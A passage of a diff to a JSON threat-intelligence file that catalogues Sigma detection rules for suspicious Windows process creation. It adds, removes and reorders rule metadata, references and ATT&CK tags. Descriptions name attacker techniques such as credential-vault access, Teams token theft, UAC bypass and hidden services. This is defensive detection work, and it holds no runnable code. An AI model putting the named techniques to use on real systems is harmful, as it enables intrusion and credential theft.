Systems)", - "creation_date": "2021/07/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_revil_kaseya.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", - "https://community.sophos.com/b/security-blog/posts/active-ransomware-attack-on-kaseya-customers", - "https://www.joesandbox.com/analysis/443736/0/html", - "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", - "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_revil_kaseya.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.g0115" - ] - }, - "related": [ - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "5de632bc-7fbd-4c8a-944a-fce55c59eae5", - "value": "REvil Kaseya Incident Malware Patterns" - }, - { - "description": "Detects commandline containing reference to files ending with a \".\" This scheme has been seen used by raspberry-robin", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_raspberry_robin_single_dot_ending_file.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_raspberry_robin_single_dot_ending_file.yml" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "a35c97c8-d9c4-4c89-a3e7-533dc0bcb73a", - "value": "Potential Raspberry Robin Dot Ending File" - }, { "description": "Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.", "meta": { @@ -63319,8 +60702,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_localsystem.yml" ], @@ -63564,7 +60947,7 @@ "value": "Windows Credential Manager Access via VaultCmd" }, { - "description": "Detects suspicious shell spawn from MSSQL process, this might be sight of RCE or SQL Injection", + "description": "Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.", "meta": { "author": "FPT.EagleEye Team, wagga", "creation_date": "2020/12/11", @@ -63601,7 +60984,7 @@ } ], "uuid": "869b9ca7-9ea2-4a5a-8325-e80e62f75445", - "value": "Suspicious Shells Spawn by SQL Server" + "value": "Suspicious Child Process Of SQL Server" }, { "description": "Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL", @@ -63795,8 +61178,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget", "https://learn.microsoft.com/en-us/windows/package-manager/winget/source", + "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_susp_custom_source.yml" ], "tags": [ @@ -63864,8 +61247,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", "https://github.com/fireeye/DueDLLigence", + "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml" ], @@ -63932,8 +61315,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", "https://twitter.com/pabraeken/status/993497996179492864", + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_virtualbox_vboxdrvinst_execution.yml" ], "tags": [ @@ -64163,8 +61546,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md", "https://github.com/OTRF/detection-hackathon-apt29/issues/6", + "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml" ], "tags": [ @@ -64255,8 +61638,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mattifestation/status/986280382042595328", "https://web.archive.org/web/20190209154607/https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html", + "https://twitter.com/mattifestation/status/986280382042595328", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml" ], "tags": [ @@ -64332,7 +61715,7 @@ } ], "uuid": "5e3cc4d8-3e68-43db-8656-eaaeefdec9cc", - "value": "Suspicious Invoke-WebRequest Usage" + "value": "Suspicious Invoke-WebRequest Execution" }, { "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", @@ -64381,8 +61764,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/", "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/", + "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml" ], "tags": [ @@ -64439,10 +61822,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/JohnLaTwC/status/1415295021041979392", "https://vms.drweb.fr/virus/?i=24144899", - "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1", "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1", + "https://twitter.com/JohnLaTwC/status/1415295021041979392", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_disable_sec_services.yml" ], "tags": [ @@ -64475,8 +61858,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", "https://sourceforge.net/projects/mouselock/", + "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_mouselock_execution.yml" ], "tags": [ @@ -64510,8 +61893,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml" ], "tags": [ @@ -64565,56 +61948,6 @@ "uuid": "459f2f98-397b-4a4a-9f47-6a5ec2f1c69d", "value": "Download Arbitrary Files Via MSOHTMED.EXE" }, - { - "description": "Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/02/22", - "falsepositive": [ - "Several false positives identified, check for suspicious file names or locations (e.g. Temp folders)" - ], - "filename": "proc_creation_win_exploit_cve_2017_0261.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_0261.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.t1204.002", - "attack.initial_access", - "attack.t1566.001" - ] - }, - "related": [ - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "864403a1-36c9-40a2-a982-4c9a45f7d833", - "value": "Exploit for CVE-2017-0261" - }, { "description": "Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline", "meta": { @@ -64629,9 +61962,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_weak_or_abused_passwords.yml" ], "tags": [ @@ -64655,9 +61988,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html", "https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors", + "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_sticky_keys_replace.yml" ], "tags": [ @@ -64782,7 +62115,7 @@ { "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. Rule detects when adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.", "meta": { - "author": "Timur Zinniatullin, oscd.community", + "author": "Timur Zinniatullin, oscd.community, Swachchhanda Shrawan Poudel", "creation_date": "2019/10/21", "falsepositive": [ "WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.", @@ -64896,8 +62229,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", "https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html", + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml" ], "tags": [ @@ -65004,6 +62337,49 @@ "uuid": "8d01b53f-456f-48ee-90f6-bc28e67d4e35", "value": "Suspicious Obfuscated PowerShell Code" }, + { + "description": "Detects the creation of a scheduled task using the \"-XML\" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence", + "meta": { + "author": "Swachchhanda Shrawan Poudel, Elastic (idea)", + "creation_date": "2023/04/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_schtasks_schedule_via_masqueraded_xml_file.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/taskschd/daily-trigger-example--xml-", + "https://github.com/elastic/protections-artifacts/blob/084067123d3328a823b1c3fdde305b694275c794/behavior/rules/persistence_suspicious_scheduled_task_creation_via_masqueraded_xml_file.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_via_masqueraded_xml_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1036.005", + "attack.t1053.005" + ] + }, + "related": [ + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "dd2a821e-3b07-4d3b-a9ac-929fe4c6ca0c", + "value": "Suspicious Scheduled Task Creation via Masqueraded XML File" + }, { "description": "Detects usage of the \"sc.exe\" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.", "meta": { @@ -65017,10 +62393,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_hide_sevices.yml" ], "tags": [ @@ -65042,40 +62418,6 @@ "uuid": "a537cfc3-4297-4789-92b5-345bfd845ad0", "value": "Service DACL Abuse To Hide Services Via Sc.EXE" }, - { - "description": "Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/02/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2015_1641.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/en/file/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8/analysis/", - "https://www.hybrid-analysis.com/sample/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2015_1641.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "7993792c-5ce2-4475-a3db-a3a5539827ef", - "value": "Exploit for CVE-2015-1641" - }, { "description": "Detects a suspicious execution from an uncommon folder", "meta": { @@ -65090,9 +62432,9 @@ "logsource.product": "windows", "refs": [ "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md", + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml" ], "tags": [ @@ -65125,8 +62467,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", + "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml" ], "tags": [ @@ -65225,8 +62567,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://twitter.com/bopin2020/status/1366400799199272960", + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_createdump_lolbin_execution.yml" ], "tags": [ @@ -65287,40 +62629,6 @@ "uuid": "caa06de8-fdef-4c91-826a-7f9e163eef4b", "value": "RunDLL32 Spawning Explorer" }, - { - "description": "Detects specific process characteristics of Winnti Pipemon malware reported by ESET", - "meta": { - "author": "Florian Roth (Nextron Systems), oscd.community", - "creation_date": "2020/07/30", - "falsepositive": [ - "Legitimate setups that use similar flags" - ], - "filename": "proc_creation_win_apt_winnti_pipemon.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_pipemon.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.g0044" - ] - }, - "related": [ - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "73d70463-75c9-4258-92c6-17500fe972f2", - "value": "Winnti Pipemon Characteristics" - }, { "description": "Detects suspicious powershell command line parameters used in Empire", "meta": { @@ -65335,8 +62643,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_launch.yml" ], @@ -65403,9 +62711,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", "https://twitter.com/_felamos/status/1204705548668555264", "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dotnet.yml" ], "tags": [ @@ -65459,6 +62767,39 @@ "uuid": "5687f942-867b-4578-ade7-1e341c46e99a", "value": "VMToolsd Suspicious Child Process" }, + { + "description": "Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information.", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/05/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sqlcmd_veeam_db_recon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_db_recon.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ] + }, + "related": [ + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "696bfb54-227e-4602-ac5b-30d9d2053312", + "value": "Veeam Backup Database Suspicious Query" + }, { "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", "meta": { @@ -65472,8 +62813,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_software_discovery.yml" ], "tags": [ @@ -65578,41 +62919,6 @@ "uuid": "3a6586ad-127a-4d3b-a677-1e6eacdf8fde", "value": "Windows Shell/Scripting Processes Spawning Suspicious Programs" }, - { - "description": "Detects a specific export function name used by one of EquationGroup tools", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/03/04", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_equationgroup_dll_u_load.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/cyb3rops/status/972186477512839170", - "https://github.com/00derp/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_equationgroup_dll_u_load.yml" - ], - "tags": [ - "attack.g0020", - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "related": [ - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "d465d1d8-27a2-4cca-9621-a800f37cf72e", - "value": "Equation Group DLL_U Export Function Load" - }, { "description": "Detects inline execution of PowerShell code from a file", "meta": { @@ -65718,8 +63024,8 @@ "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", - "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/", + "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml" ], @@ -65788,8 +63094,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml" ], "tags": [ @@ -65898,8 +63204,8 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/", - "https://twitter.com/bohops/status/1477717351017680899?s=12", "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", + "https://twitter.com/bohops/status/1477717351017680899?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml" ], "tags": [ @@ -65922,9 +63228,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", "https://twitter.com/0gtweet/status/1564968845726580736", "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml" ], "tags": [ @@ -65956,7 +63262,7 @@ { "description": "Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)", "meta": { - "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, SCYTHE @scythe_io", + "author": "Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io", "creation_date": "2018/04/06", "falsepositive": [ "Unknown" @@ -65966,17 +63272,17 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", + "https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html", + "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/", - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", - "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml", - "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", + "https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/", + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", - "https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_susp_child_processes.yml" ], "tags": [ @@ -66027,10 +63333,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1186631731543236608", "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/", "https://github.com/Neo23x0/DLLRunner", "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://twitter.com/cyb3rops/status/1186631731543236608", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_by_ordinal.yml" ], "tags": [ @@ -66130,9 +63436,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", "https://guides.lib.umich.edu/c.php?g=282942&p=1885348", "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_image.yml" ], "tags": [ @@ -66199,10 +63505,10 @@ "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/a6aa0057-82ec-451f-8f99-55650ca537da/", - "https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar", - 